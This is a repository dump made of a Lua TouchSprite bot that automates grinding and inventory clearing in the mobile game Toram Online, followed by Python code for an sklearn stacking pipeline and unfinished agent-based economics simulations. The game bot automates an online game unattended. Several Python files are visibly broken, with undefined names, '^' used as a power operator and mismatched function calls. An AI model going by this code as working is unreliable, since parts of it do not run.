snLog("遵命")
mSleep(1000)
touch(1217, 64, 0x8a8253, 95) -- 跳过
snLog("跳过")
mSleep(1000)
touch(827, 298, 0x978062, 95) -- 直接回报
snLog("直接回报")
nextNStalk(2)
while true do
if isColor(641, 626, 0x000000, 95) and isColor(698, 621, 0x1b84ff, 95) then
tap(698, 621)
count_JRW = count_JRW + 1
nLog("得到防裂:"..count_JRW)
snLog("得到防裂:"..count_JRW)
mSleep(1000)
elseif isColor(628, 629, 0x1b84ff, 95) then
tap(628, 629)
count_JRW = count_JRW + 1
nLog("得到防裂:"..count_JRW)
snLog("得到防裂:"..count_JRW)
mSleep(1000)
break
end
end
mSleep(3000)
return count_JRW
end
function checkEM()
if count_delete < 2 then
goToCityJRW()
end
function checkBag()
tap(61, 59)
mSleep(2000)
tap(1090, 161)
mSleep(2000)
local x = -1
local y = -1
x, y = findMultiColorInRegionFuzzy(0x8c6029, "16|10|0x351d03,15|20| 0x613406,-3|20|0x875924", 95, 678, 138, 1230, 572);
if x~=-1 and y~=-1 then
tap(x, y)
mSleep(2000)
tap(296, 222) -- 重排
mSleep(2000)
tap(705, 601) -- 确定
mSleep(1000)
findColorStop(296, 222, 0x35a9b7, 95)
tap(645, 119) -- 多选
mSleep(1000)
--delete()
tap(309, 193)
mSleep(1000)
tap(791, 601) -- 删除确认
mSleep(1000)
toast("背包剩余空位:"..count_delete+1)
snLog("背包剩余空位:"..count_delete+1)
findColorStop(296, 222, 0x35a9b7, 95)
end
tap(1223, 65) -- 关闭
end
-- position表示传送点位置,0为第一个,1为第二个,2为第三个
-- version 为0时为正常版本, 为1时为活动版
function nightmare(position, version)
emLog("开始刷噩梦")
while true do
for i=1, 30 do
nLog("技能")
tap(1176, 283) -- 技能
mSleep(500)
tap(1176, 283)
mSleep(1000)
nLog("动作")
tap(1050, 364) -- 动作
mSleep(500)
tap(1050, 364)
mSleep(1000)
nLog("充能")
tap(1179, 173) -- 充能
mSleep(500)
tap(1179, 173)
end
-- 检查是否压制
if not isColor(1176, 283, 0x68c99d, 85) then
closeApp("com.xiaoyou.ToramOnline")
mSleep(5000)
runApp("com.xiaoyou.ToramOnline")
mSleep(2000)
touch(764, 569, 0x1b84ff, 95)
mSleep(1000)
touch(770, 317, 0x8e1c21, 95)
mSleep(1000)
while not isColor(1176, 283, 0x68c99d, 85) do
tap(723, 665)
mSleep(1000)
end
mSleep(2000)
end
-- 检查清包
checkBag()
-- 检查噩梦是否满
checkEM()
end
end
function showCount(count_JRW)
end
<file_sep>/main.lua
require("TSLib")
require("Tools")
require("720p")
init(1);
width, height = getScreenSize();
local count_JRW = 0 -- 交任务次数
if width ~= 720 or height ~= 1280 then
toast("width = "..width.."\nheight = "..height)
toast("本脚本不能在该设备运行")
end
MyJsonString = [[
{
"style": "default",
"width": ]]..width..[[,
"height": ]]..height..[[,
"config": "save_111.dat",
"timer": 60,
"views": [
{
"type": "Label",
"text": "Kami桑的噩梦脚本",
"size": 25,
"align": "center",
"color": "0,0,255"
},
{
"type": "Label",
"text": "密码",
"size": 15,
"align": "center",
"color": "0,0,0"
},
{
"type": "Edit",
"text": "1",
"size": 15,
"align": "left",
"color": "0,0,0"
},
{
"type": "Label",
"text": "版本",
"size": 15,
"align": "center",
"color": "0,0,0"
},
{
"type": "ComboBox",
"list": "小游,4399",
"select": "0"
},
{
"type": "ComboBox",
"list": "正常版本,活动版本,交任务,测试回城,测试清包",
"select": "0"
},
{
"type": "Label",
"text": "材料处理方式",
"size": 15,
"align": "center",
"color": "0,0,0"
},
{
"type": "ComboBox",
"list": "删除,分解",
"select": "0"
},
{
"type": "Label",
"text": "传送点位置",
"size": 15,
"align": "center",
"color": "0,0,0"
},
{
"type": "ComboBox",
"list": "第一个,第二个,第三个",
"select": "1"
}
]
}
]]
function beforeUserExit()
showCount(count_JRW)
end
ret, password, game_version, version, process, position = showUI(MyJsonString);
-- 用户点击退出
if ret == 0 or password ~= "<PASSWORD>" then
lua_exit(); --退出脚本
mSleep(10) --lua 的机制是调用此函数之后的下一行结束,如果不希望出现此情况可以在调用函数之后加入一行无意义代码。
end
mSleep(2000)
if version == "2" then
nLog("交任务")
snLog("交任务")
while true do
if isColor(641, 626, 0x000000, 95) and isColor(698, 621, 0x1b84ff, 95) then
tap(698, 621)
count_JRW = count_JRW + 1
nLog("得到防裂:"..count_JRW)
snLog("得到防裂:"..count_JRW)
mSleep(1000)
elseif isColor(628, 629, 0x1b84ff, 95) then
tap(628, 629)
count_JRW = count_JRW + 1
nLog("得到防裂:"..count_JRW)
snLog("得到防裂:"..count_JRW)
mSleep(1000)
break
end
end
elseif version == "3" then
nLog("开始测试回城")
snLog("开始测试回城")
mSleep(1000)
count_JRW = goToCityJRW(count_JRW)
elseif version == "4" then
nLog("开始测试清包")
snLog("开始测试清包")
mSleep(1000)
deleteWQ()
else
nLog("开始噩梦")
while (true) do
nightmare(tonumber(position), tonumber(version))
end
end
| f0031d0d1d73b7a74159b06166b698e0df6db95a | [
"Lua"
] | 2 | Lua | icellus/TouchSpriteToramEM | d16c49fb9fe4ea94d08542f3b6f1ee03314f22a2 | 2f2290a5fe85ccc8ab0fbe1437b683ea3597a2e6 |
refs/heads/master | <repo_name>SMG2/supermsg-server<file_sep>/WebStorm/Resume/src/assets/js/test.js
/**
* Created by yangbingxun on 2017/4/8.
*/
module.exports={
test:function(){
console.log(123)
}
}<file_sep>/WebStorm/Resume/webpack.prod.config.js
/**
* Created by yangbingxun on 2017/3/17.
*/
| de6a56334be126452e472b8e86959e3a66e4b68a | [
"JavaScript"
] | 2 | JavaScript | SMG2/supermsg-server | 5f2ccf97015531c242f7d6c1cbc26c437d01572b | 53ca77ed343e83e579c59962d4e48a6e5c08bcee |
refs/heads/master | <repo_name>adamdboult/predictions<file_sep>/OLD/Compass/stochastic.py
#!/usr/bin/python3
##########
# Import #
##########
####################
# Define functions #
####################
# Consumer
###########
# U = ln(
# Q ^ pref .
# (1 - L) ^ (1 - pref)
# )
def getUtil(pref, quantity, labour):
utility = pref * Math.log(quantity) + (1 - pref) * Math.log(1 - labour)# - lam * (price * quantity - wage * labour)
return utility
#######
# Run #
#######
startPrice = 10
cost = 10
pref = 0.5
getEquilibrium(cost, pref)
<file_sep>/OLD/Compass/compass.py
#!/usr/bin/python3
##########
# Import #
##########
####################
# Define functions #
####################
# Consumer
###########
# U = ln(
# Q ^ pref .
# (1 - L) ^ (1 - pref)
# )
def getUtil(pref, quantity, labour):
utility = pref * Math.log(quantity) + (1 - pref) * Math.log(1 - labour)# - lam * (price * quantity - wage * labour)
return utility
def getMargCons(pref, quantity, labour):
margCons = pref / quantity - lam * (price)
return margCons
def getMargLabour(pref, quantity, labour):
margLab = - (1 - pref) / (1 - labour) - lam * (- wage)
return margLab
# Note: Set to 0 and combinate above to get:
# pref / (quantity * price) = (1 - pref) / ((1 - labour) * wage)
# (pref / (1 - pref)) * (wage / price) = quantity / (1 - labour)
def getMargLam(price, quantity, wage, labour):
margLam = - (price * quantity - wage * labour)
# Note: set to 0 to get:
# labour = quantity * (price / wage)
# (pref / (1 - pref)) * (wage / price) = quantity / (1 - quantity * (price / wage))
# (pref / (1 - pref)) * (wage / price) * (1 - quantity * (price / wage)) = quantity
# consumer quantity demanded
def getConsQuant(price, wage, pref):
quantity = pref * (wage / price)
return quantity
# consumer labour demanded
def getConsLab(pref):
labour = pref
return labour
# Firm
#######
# q = l ^ a . k ^ b
# profit = p . l ^ a . k ^ b - w . l - r . k
#dl = a . p . l ^ (a - 1) . k ^ b - w
#dk = b . p . l ^ a . k ^ (b - 1) - r
def getProfit(l, k, a, b, w, r, p):
q = l^a * k^b
profit = p*q - w*l - r*k
return profit
def firmMarg(price, quantity, wage, stock):
margProf = price - 2 * wage * (quantity - stock)
return margProf
def getFirmQuant(price, wage, stock):
quantity = price / (2 * wage) + stock
return quantity
def getFirmLab(quantity, stock):
labour = (quantity - stock) ** 2
return labour
# Market
#########
import math
def getEquilibrium(cost, pref):
price = 1
stock = 0
wage = 1
sumErr = 1
i = 1
delta = 0.001
while (sumErr > 0.00001):
quantFirmGoal = getFirmQuant(price, wage, stock)
labFirmGoal = getFirmLab(quantFirmGoal, stock)
quantConsGoal = getConsQuant(price, wage, pref)
labConsGoal = getConsLab(pref)
profit = getProfit(price, quantFirmGoal, wage, stock)
profitUnits = profit / price
goodsExcess = quantFirmGoal - quantConsGoal - profitUnits
labourExcess = labConsGoal - labFirmGoal
sumErr = goodsExcess ** 2 + labourExcess ** 2
deltaPrice = - goodsExcess * delta
deltaWage = - labourExcess * delta
print ("\n\n#########\n# ROUND ", i, "#\n#########", i)
print ("Price: ", price)
print ("Wage: ", wage)
print ("P/W: ", price / wage)
print ("\n---Firm---")
print ("* Goals")
print ("Quant: ", quantFirmGoal)
print ("Labour: ", labFirmGoal)
print ("\n---Consumer---")
print ("* Goals")
print ("Quant: ", quantConsGoal)
print ("Labour: ", labConsGoal)
print ("\n---Capitalist---")
print ("* Goals")
print ("Profit: ", profit)
print ("Pro/Pr: ", profitUnits)
print ("\n---Excess supply---")
print ("Quant: ", quantFirmGoal - quantConsGoal - profitUnits)
print ("Labour: ", labConsGoal - labFirmGoal)
print ("\ndeltaP ", deltaPrice)
print ("deltaW ", deltaWage)
i += 1
price = price + deltaPrice
wage = wage + deltaWage
return
#######
# Run #
#######
startPrice = 10
cost = 10
pref = 0.5
getEquilibrium(cost, pref)
<file_sep>/OLD/econLearn/learnFunctions.py
####################
# Global functions #
####################
def getMaxIndex(array):
max_val = max(array)
max_inx = array.index(max_val)
return (max_inx)
def dictionaryToVector(dictionary):
vector = []
for key, value in dictionary.iteritems():
if isinstance(value, dict):
output = dictionaryToVector(value)
else:
output = value
if isinstance(output, list):
for item in output:
vector.append(item)
else:
vector.append(output)
return (vector)
def addObjects(original, update):
for good in original:
for VorP in original[good]:
adjustment = update[good][VorP]
original[good][VorP] = original[good][VorP] + adjustment
def getTemplate(templateType, goods):
template = {}
if (templateType == "goods"):
for good in goods:
template[good] = 0
elif (templateType == "action"):
for good in goods:
template[good] = {
"v": 0,
"p": 0
}
elif (templateType == "order"):
for good in goods:
template[good] = []
elif (templateType == "state"):
goodsTemplate = getTemplate("goods", goods)
actionTemplate = getTemplate("action", goods)
template = {
"exists": 0,
"assets": goodsTemplate,
"actions": actionTemplate,
"prices": goodsTemplate,
"accept": goodsTemplate
}
return (template)
<file_sep>/OLD/agentModel/take3.py
#!/usr/bin/env python3
#############
# Libraries #
#############
import random
####################
# Global variables #
####################
priceStep = 1
quantityStep = 1
learnRate = 0.01
#################
# Configuration #
#################
consumerPop = 1
firmPop = 1
#####################
# Initialise agents #
#####################
print ("------------------------")
print ("---Intialising world----")
print ("------------------------")
print ()
print ("------------------------")
print ("---Intialising agents---")
print ("------------------------")
consumers = []
firms = []
for i in range (consumerPop):
consumers.append(
consumer(i)
)
print ("Initiated consumer ", i)
for i in range (firmPop):
firms.append(
consumer(i)
)
print ("Initiated firm ", i)
print ()
#######
# Run #
#######
print ("------------------------")
print ("---Starting loop--------")
print ("------------------------")
var = ""
while (var != "q"):
orders = {}
for good in goods:
orders[good] = []
for i in agents:
newOrder = i.getAction()
for good in newOrder:
newOrder[good].append(newOrder[good])
print ()
print ("-----")
var = input("Please enter something: ")
print ("-----")
<file_sep>/myPackages/machineLearning.py
################
# Dependencies #
################
# Sci
import pandas as pd
import numpy as np
from scipy import stats
# General
import math
import os
import string
import pickle
# Workflow
from sklearn.model_selection import GridSearchCV
from sklearn.base import BaseEstimator, TransformerMixin
from sklearn.pipeline import Pipeline, FeatureUnion
# Preprocessing
from sklearn.preprocessing import Imputer, StandardScaler
from sklearn.feature_extraction import DictVectorizer
from sklearn.feature_extraction.text import CountVectorizer, TfidfTransformer, TfidfVectorizer
# Trees
from sklearn.tree import DecisionTreeClassifier
from sklearn.ensemble import RandomForestClassifier, GradientBoostingClassifier
# Ensemble
from sklearn.ensemble import BaggingClassifier, AdaBoostClassifier
# Support vector machines
from sklearn.svm import SVC
# Other classifiers
from sklearn.linear_model import LogisticRegression
from sklearn.neural_network import MLPClassifier
from sklearn.neighbors import KNeighborsClassifier
from sklearn.naive_bayes import GaussianNB
# Metrics
from sklearn.metrics import confusion_matrix
################
# Master train #
################
def getTransformPipeline():
imputer = Imputer(missing_values = "NaN", strategy = "mean", axis = 0)
numberPipeline = Pipeline([
("numberFilter", GetNumbers()),
("imputer", imputer)
])
textPipeline = Pipeline([
("textFilter", GetText()),
("vectoriser", MixedDict())
])
transformPipeline = [
("feats", FeatureUnion([
("numberPipeline", numberPipeline),
("textPipeline", textPipeline)
])),
("scaler", StandardScaler()),
]
return transformPipeline
def train(X, y, projectName, scoring):
print ("\nIdentifying type of problem...")
#transformPipeline = getTransformPipeline()
if isClf(y):
models, names = trainClf(X, y, projectName, scoring)
else:
models, names = trainReg(X, y, projectName, scoring)
for i in range(len(models)):
# Save model
path = os.path.join("models", projectName, names[i] + ".sav")
os.makedirs(os.path.dirname(path), exist_ok=True)
f = open(path, "wb")
pickle.dump(models[i], f)
def stackedTrain(X, y, projectName, scoring):
print ("\nTraining stacked...")
model_dir = "models"
basePath = os.path.join(model_dir, projectName)
models = os.listdir(basePath)
df = pd.DataFrame()
#y = pd.DataFrame(data = y, columns = ["y"])
skipName = "ensemble"
for model_name in models:
model_name_base = model_name.split(".")[0]
suffix = model_name.split(".")[1]
if model_name_base != skipName and suffix == "sav":
print ("\n" + model_name_base)
path = os.path.join(basePath, model_name)
model = pickle.load(open(path, "rb"))
y_hat = model.predict(X)
df[model_name_base] = y_hat
tn, fp, fn, tp = confusion_matrix(y, y_hat).ravel()
n = tn + fp + fn + tp
precision = tp / (tp + fp)
recall = tp / (tp + fn)
accuracy = (tp + tn) / n
f1 = stats.hmean([precision, recall])
print (accuracy)
path = os.path.join("models", projectName, model_name_base + ".txt")
f = open(path, "w")
f.write("N:\t\t" + str(n))
f.write("\n\nTrue positive:\t" + str(tp) + "\t(" + str(tp/n) + ")")
f.write("\nTrue negative:\t" + str(tn) + "\t(" + str(tn/n) + ")")
f.write("\nFalse positive:\t" + str(fp) + "\t(" + str(fp/n) + ")")
f.write("\nFalse negative:\t" + str(fn) + "\t(" + str(fn/n) + ")")
f.write("\n\nAccuracy:\t" + str(accuracy))
f.write("\n\nPrecision:\t" + str(precision))
f.write("\nRecall:\t\t" + str(recall))
f.write("\nF1:\t\t" + str(f1))
f.close()
kSplits = 2
param_grid = {}
model = RandomForestClassifier()
#transformPipeline = getTransformPipeline()
#pipelineArray = transformPipeline[:]
#pipelineArray.append(("clf", model))
#pipeline = Pipeline(pipelineArray)
grid_search = GridSearchCV(model, param_grid = param_grid, cv = kSplits, verbose = 2, scoring = scoring)
grid_search.fit(df, y)
bestParameters = grid_search.best_params_
model.set_params(**bestParameters)
model.fit(df, y)
path = os.path.join("models", projectName, skipName + ".sav")
f = open(path, "wb")
pickle.dump(model, f)
f.close()
return
################
# Transformers #
################
def isNumber(cType):
if cType != np.float64 and cType != np.int64:
return False
return True
class GetText(BaseEstimator, TransformerMixin):
def __init__(self):
a = 1
def transform(self, X, *_):
for column in X.columns:
cType = X[column].dtype
if isNumber(cType):
X = X.drop([column], axis = 1)
return X
def fit(self, X, *_):
return self
class GetNumbers(BaseEstimator, TransformerMixin):
def __init__(self):
a = 1
def transform(self, X, *_):
for column in X.columns:
cType = X[column].dtype
if not isNumber(cType):
X = X.drop([column], axis = 1)
return X
def fit(self, X, *_):
return self
def text_process(text):
text = str(text)
text = [char for char in text if char not in string.punctuation]
text = "".join(text)
text = text.lower()
text = [word for word in text.split()]# if word not in stopWords]
return text
def textExtraction(df, series):
vectorizer = CountVectorizer(analyzer = text_process, min_df = 0.1)
df[series] = df[series].replace(np.nan, '', regex=True)
vectorizer.fit_transform(df[series])
vocab = vectorizer.get_feature_names()
return vocab
class MixedDict(BaseEstimator, TransformerMixin):
def __init__(self):
self.vocabDict = {}
def transform(self, X, *_):
for column in X.columns:
if column in self.vocabDict:
vectorizer = CountVectorizer(analyzer = text_process, vocabulary = self.vocabDict[column])
if len(vectorizer.vocabulary) > 0:
vector = vectorizer.fit_transform(X[column])
i = 0
vector = vector.toarray()
for each in vector.T:
new_name = column + "_" + str(i)
X[new_name] = vector.T[i]
i = i + 1
X = X.drop([column], axis = 1)
return X
def fit(self, X, *_):
for column in X.columns:
try:
vocab = textExtraction(X, column)
self.vocabDict[column] = vocab
#print ("- \"" + column + "\" has a vocabulary\n--\t"+ str(vocab))
except:
self.vocabDict[column] = []
#print ("- \"" + column+ "\" does not have a vocabulary")
return self
##############
# Predicting #
##############
def predict(X, json_data, index):
print ("\nPredicting...")
regressors = []
model_dir = "models"
basePath = os.path.join(model_dir, json_data["projectName"])
models = os.listdir(basePath)
skipName = "ensemble.sav"
for model_name in models:
suffix = model_name.split(".")[1]
if model_name != skipName and suffix == "sav":
print (model_name.split(".")[0])
path = os.path.join(basePath, model_name)
model_name_base = model_name.split(".")[0]
model = pickle.load(open(path, "rb"))
y = model.predict(X)
output = pd.DataFrame(y, columns = [json_data["outputY"]], index = index.index)
output[json_data["indexCol"]] = output.index
output = output[[json_data["indexCol"], json_data["outputY"]]]
writeCSV(json_data["outputFile"] + "_" + model_name_base + ".csv", output, json_data["projectName"])
return
def stackedPredict(X, json_data, index):
print ("Stacked predicting...")
projectName = json_data["projectName"]
model_dir = "models"
csv_dir = "output"
basePath = os.path.join(csv_dir, projectName)
modelPath = os.path.join(model_dir, projectName)
CSVs = os.listdir(basePath)
df = pd.DataFrame()
baseFileName = json_data["outputFile"].split(".")[0]
skipName = baseFileName + "_ensemble.csv"
for csv_name in CSVs:
if csv_name != skipName:
path = os.path.join(basePath, csv_name)
csv = pd.read_csv(path)
#print (csv)
#y = model.predict(X)
df[csv_name] = csv[json_data["outputY"]]
model_name = "ensemble.sav"
path = os.path.join(modelPath, model_name)
model = pickle.load(open(path, "rb"))
y = model.predict(df)
output = pd.DataFrame(y, columns = [json_data["outputY"]], index = index.index)
output[json_data["indexCol"]] = output.index
output = output[[json_data["indexCol"], json_data["outputY"]]]
writeCSV(skipName, output, projectName)
return
###############################
# Classification / Regression #
###############################
def isClf(y):
cutOff = 0.1
sampleSize = len(y)
print ("Sample size: " + str(sampleSize))
uniques = len(np.unique(y))
print ("Unique y values: " + str(uniques))
ratio = uniques / sampleSize
if ratio < cutOff:
return True
return False
####################
# Train classifier #
####################
def trainClf(X, y, projectName, scoring):
transformPipeline = getTransformPipeline()
print ("Type: Classification")
names = []
classifiers = []
hyperParameters = []
####
# Decision tree
####
clf = DecisionTreeClassifier()
maxDepthArray = [20]
minSamplesSplitArray = [4]
parameters = [{"max_depth":maxDepthArray, "min_samples_split": minSamplesSplitArray}]
names.append("Decision tree")
classifiers.append(clf)
hyperParameters.append(parameters)
####
# Bagging
####
clf = BaggingClassifier()
nEstimatorsArray = [10]
parameters = [{"n_estimators": nEstimatorsArray}]
names.append("Bagging")
classifiers.append(clf)
hyperParameters.append(parameters)
####
# Random Forest (bagging+)
####
clf = RandomForestClassifier()
maxDepthArray = [20]
minSamplesSplitArray = [2]
parameters = [{"max_depth":maxDepthArray, "min_samples_split": minSamplesSplitArray}]
names.append("Random forest")
classifiers.append(clf)
hyperParameters.append(parameters)
####
# Adaboost (boosting)
####
clf = AdaBoostClassifier(DecisionTreeClassifier(max_depth = 10, min_samples_split = 5))
n_estimatorsArray = [1]
parameters = [{"n_estimators": n_estimatorsArray}]
names.append("Adaboost")
classifiers.append(clf)
hyperParameters.append(parameters)
####
# Gradient boosting
####
clf = GradientBoostingClassifier()
nEstimatorsArray = [10]
parameters = [{"n_estimators": nEstimatorsArray}]
names.append("Gradient boosting")
classifiers.append(clf)
hyperParameters.append(parameters)
####
# Logistic regression
####
clf = LogisticRegression()
penaltyArray = ["l1", "l2"]
parameters = [{}]
names.append("Logistic regression")
classifiers.append(clf)
hyperParameters.append(parameters)
####
# Naive bayes
####
clf = GaussianNB()
parameters = [{}]
names.append("Naive bayes")
classifiers.append(clf)
hyperParameters.append(parameters)
####
# K-nearest neighbours
####
clf = KNeighborsClassifier()
nNeighborsArray = [5]
parameters = [{"n_neighbors": nNeighborsArray}]
names.append("K-nearest neighbours")
classifiers.append(clf)
hyperParameters.append(parameters)
####
# Support Vector Classifier
####
clf = SVC()
cArray = [1]
degreeArray = [1]
gammaArray = [0.3]
kernelArray = ["poly"]
parameters = [{"kernel": kernelArray, "degree": degreeArray, "gamma": gammaArray, "C": cArray}]
names.append("Support vector classifier")
classifiers.append(clf)
hyperParameters.append(parameters)
####
# Multi-Layer Perceptron
####
clf = MLPClassifier(hidden_layer_sizes=(100,50,50))
alphaArray = [1e-05]
parameters = [{"alpha": alphaArray}]
names.append("Multi-layer perceptron")
classifiers.append(clf)
hyperParameters.append(parameters)
####
# Train
####
pipelines = []
for i in range(len(classifiers)):
print ("\nTraining: " + str(classifiers[i]))
# Get pipeline
pipelineArray = transformPipeline[:]
pipelineArray.append(("clf", classifiers[i]))
pipeline = Pipeline(pipelineArray)
kSplits = 2
param_grid = {}
for parameter in hyperParameters[i][0]:
param_grid["clf__" + parameter] = hyperParameters[i][0][parameter]
grid_search = GridSearchCV(pipeline, param_grid = param_grid, cv = kSplits, verbose = 2, scoring = scoring)
grid_search.fit(X, y)
bestParameters = grid_search.best_params_
pipeline.set_params(**bestParameters)
pipeline.fit(X, y)
pipelines.append(pipeline)
return pipelines, names
####################
# Train regression #
####################
def trainReg(X, y, projectName):
transformPipeline = transformPipeline()
print ("Type: Regression")
names = []
regressors = []
hyperParameters = []
####
# Train
####
for i in range(len(regressors)):
print ("\nTraining: " + str(regressors[i]))
bestParameters = crossValidate(X, y, regressors[i], hyperParameters[i])
regressors[i].set_params(**bestParameters)
regressors[i].fit(X, y)
return pipelines
################
# Read / Write #
################
def readCSV(projectName, fileName):
print ("\nReading CSV...")
path = os.path.join("raw", projectName, fileName)
df = pd.read_csv(path)
return df
def writeCSV(fileName, df, projectName):
print ("\nWriting CSV...")
path = os.path.join("output", projectName, fileName)
os.makedirs(os.path.dirname(path), exist_ok=True)
df.to_csv(path, index = False, header = True)
##################
# Select columns #
##################
def getX(df, ignore):
print ("\nSelect columns (X)...")
# Exclude columns
for column in ignore:
if column in df:
df = df.drop([column], axis = 1)
return df
def getY(df, yColumn):
print ("\nSelect columns (Y)...")
y = df[yColumn]
y = y.values.ravel()
return y
<file_sep>/driver.py
################
# Dependencies #
################
import myPackages.machineLearning as myPack
import json
import sys
import pandas as pd
from sklearn.model_selection import train_test_split
########
# Main #
########
def main():
#############
# Variables #
#############
json_path = sys.argv[1]
json_file = open(json_path).read()
json_data = json.loads(json_file)
projectName = json_data["projectName"]
ignore = [json_data["indexCol"], json_data["inputY"]]
########################
# What are we running? #
########################
run_train = True
run_test = True
if len(sys.argv) > 2:
test_train = sys.argv[2]
if test_train == "train":
run_test = False
elif test_train == "test":
run_train = False
#########
# Train #
#########
if run_train:
# Import
df = myPack.readCSV(projectName, json_data["trainFile"])
# Select columns
X = myPack.getX(df, ignore)
y = myPack.getY(df, json_data["inputY"])
X_train, X_holdout, y_train, y_holdout = train_test_split(X, y, test_size = 0.25)
# Train
if "scoring" in json_data:
scoring = json_data["scoring"]
else:
scoring = "accuracy"
myPack.train(X_train, y_train, projectName, scoring)
# Stacked ensemble
myPack.stackedTrain(X_holdout, y_holdout, projectName, scoring)
###########
# Predict #
###########
if run_test:
# Import
df = myPack.readCSV(projectName, json_data["testFile"])
# Select columns
X = myPack.getX(df, ignore)
if json_data["indexCol"] in df:
index = pd.DataFrame(data=df[json_data["indexCol"]], columns = [json_data["indexCol"]])
index.index = df[json_data["indexCol"]]
index = index.drop([json_data["indexCol"]], axis = 1)
else:
index = pd.DataFrame(index=df.index)
index.index += 1
#print (index)
# Predict
myPack.predict(X, json_data, index)
myPack.stackedPredict(X, json_data, index)
############
# Run main #
############
if __name__ == "__main__":
main()
<file_sep>/OLD/agentModel/run.py
#!/usr/bin/env python3
#############
# Libraries #
#############
import random
import math
###########
# Classes #
###########
class person:
"""A person"""
instances = []
def __init__(self):
a = random.random()
self.prefs = [0.5, 0.5]
self.data = [a, 1 - a, 0]
self.utilityUpdate()
person.instances.append(self)
def trade(self, market):
self.marginalUtilityUpdate()
self.goalUpdate(market)
goods = [0, 1]
for good in goods:
toBuy = self.goal[good] - self.data[good]
price = market.price[good]
if (
self.data[good] + toBuy >= 0 and
self.data[2] - toBuy * price >= 0 and
market.data[good] - toBuy >= 0 and
market.data[2] + toBuy * price >= 0
):
market.data[good] -= toBuy
market.data[2] += toBuy * price
self.data[good] += toBuy
self.data[2] -= toBuy * price
self.utilityUpdate()
def goalUpdate(self, market):
self.goal = [self.data[0], self.data[1]]
if (self.marginalUtility[0]/market.price[0] > self.marginalUtility[1]/market.price[1]):
self.goal[0] +=0.01
self.goal[1] -=0.01
elif (self.marginalUtility[0]/market.price[0] < self.marginalUtility[1]/market.price[1]):
self.goal[0] -=0.01
self.goal[1] +=0.01
def utilityUpdate(self):
self.utility = (self.data[0] ** self.prefs[0]) * (self.data[1] ** self.prefs[1])
def marginalUtilityUpdate(self):
self.marginalUtility = [
self.prefs[0] * (self.data[0] ** (self.prefs[0] -1)) * (self.data[1] ** self.prefs[1]),
self.prefs[1] * (self.data[0] ** self.prefs[0] ) * (self.data[1] ** (self.prefs[1] - 1))
]
class market:
"""A amarket"""
instances = []
def __init__(self):
self.data = [0, 0, 100]
self.lastStock = self.data[:]
self.price = [10.0, 10.0]
market.instances.append(self)
def updatePrices(self):
goods = [0, 1]
for good in goods:
if self.data[good] < self.lastStock[good]:
self.price[good] += 0.001
else:
self.price[good] -= 0.001
self.lastStock = self.data[:]
#############
# Functions #
#############
def printStatus(entity):
print ("Printing")
for instance in entity.instances:
print("Data: ", instance.data)
#try:
# print("Utility: ", instance.utility)
#except:
# continue
print ()
#################
# Configuration #
#################
population = 3
##############
# Initialise #
##############
print ("Intialising...")
print ("--------------")
for i in range (population):
person()
auctioneer = market()
#######
# Run #
#######
printStatus(person)
printStatus(market)
var = ""
i = 0
while (var != "q"):
print ("STARTING")
print (i, ".......")
for instance in person.instances:
instance.trade(auctioneer)
auctioneer.updatePrices()
var = input("Please enter something: ")
print ("you entered", var)
printStatus(person)
printStatus(market)
print (auctioneer.price)
i+=1
<file_sep>/OLD/econLearn/learn.py
################
# Dependencies #
################
import math
from classes import agentClass
from childClasses import firm, consumer
from learnFunctions import *
#################
# Configuration #
#################
maxLeisure = 24
agentFrames = 4
numConsumers = 3
numFirms = 3
goods = [
"consumption",
"labour",
"saving",
"capital",
"gold"
]
stateTemplate = getTemplate("state", goods)
#####################
# Initialise agents #
#####################
for i in range(numConsumers):
assets = {
}
frames = agentFrames
discount = 0.05
alpha = 0.5
beta = 0.5
consumer(goods, assets, frames, discount, alpha, beta, maxLeisure)
for i in range(numFirms):
assets = {
"gold": 10
}
frames = agentFrames
discount = 0.05
alpha = 0.5
beta = 0.5
firm(goods, assets, frames, discount, alpha, beta)
#######
# Run #
#######
buyOrders = getTemplate("order", goods)
sellOrders = getTemplate("order", goods)
while True:
# Update orders MERGE WITH BELOW. DO DETERMINISTIC FOR USERS
################
for agent in agentClass:
agent.updateActions()
for good in goods:
for order in orderArray:
if ():
buyOrders[good].append(order)
else:
sellOrders[good].append(order)
#DETqq21ERMINE ELIGIBLE BUNDLES
#+ experience replay. remember <s, a, r, s'>, use random mini batches to train
<file_sep>/OLD/agentModel/take2.py
#!/usr/bin/env python3
#############
# Libraries #
#############
import random
import math
################
# Agent models #
################
agentDict = {
"person": {
"actions": [],
"preferences": []
},
"world": {
"actions": [],
"preferences": []
}
}
###########
# Classes #
###########
class agent:
"""An agent"""
def __init__(self, template, world):
model = agentDict[template]
self.children = []
self.name = template
self.actions = model["actions"]
self.preferences = model["preferences"]
self.world = world
def addChild(self, child):
newChild = agent(
child,
self
)
self.children.append(newChild)
def takeAction(self):
for action in self.actions:
action = 0
def worldInput(self):
print (1)
def utilityUpdate(self):
print (2)
def update(self):
print ("Updating ", self.name)
self.worldInput()
for child in self.children:
child.update()
self.utilityUpdate()
self.takeAction()
#################
# Configuration #
#################
agentPopulation = 3
##############
# Initialise #
##############
print ("Intialising world....")
print ("---------------------")
print ()
world = agent(
"world",
None
)
print ("Intialising agents...")
print ("---------------------")
print ()
for i in range (agentPopulation):
world.addChild("person")
#######
# Run #
#######
print ("Starting loop........")
print ("---------------------")
print ()
var = ""
while (var != "q"):
print ()
var = input("Please enter something: ")
world.update()
<file_sep>/OLD/econLearn/childClasses.py
################
# Dependencies #
################
from classes import agentClass
from learnFunctions import *
#############
# Templates #
#############
################
# Child agents #
################
class consumer(agentClass):
'A consumer is an agent'
def __init__(self, goods, assets, frames, discount, alpha, beta, maxLeisure):
self.alpha = alpha
self.beta = beta
self.maxLeisure = maxLeisure
agentClass.__init__(self, goods, discount, assets, frames)
self.updateAssets()
def updateAssets(self):
self.assets["consumption"] = 0
self.assets["leisure"] = self.maxLeisure
def getReward(self, state):
consumption = state["consumption"]
leisure = state["leisure"]
reward = self.alpha * Math.log(consumption) + self.beta * Math.log(leisure)
return (reward)
class firm(agentClass):
'A firm is an agent'
def __init__(self, goods, assets, frames, discount, alpha, beta):
self.alpha = alpha
self.beta = beta
agentClass.__init__(self, goods, discount, assets, frames)
self.updateAssets()
def updateAssets(self):
print (self.assets["consumption"])
print ("--")
print (self.assets["labour"])
print (self.alpha)
print (self.assets["labour"] ** self.alpha)
print (self.assets["capital"] ** self.beta)
self.assets["consumption"] = self.assets["consumption"] + (self.assets["labour"] ** self.alpha) * (self.assets["capital"] ** self.beta)
self.assets["labour"] = 0
self.assets["capital"] = 0
def getReward(self, state):
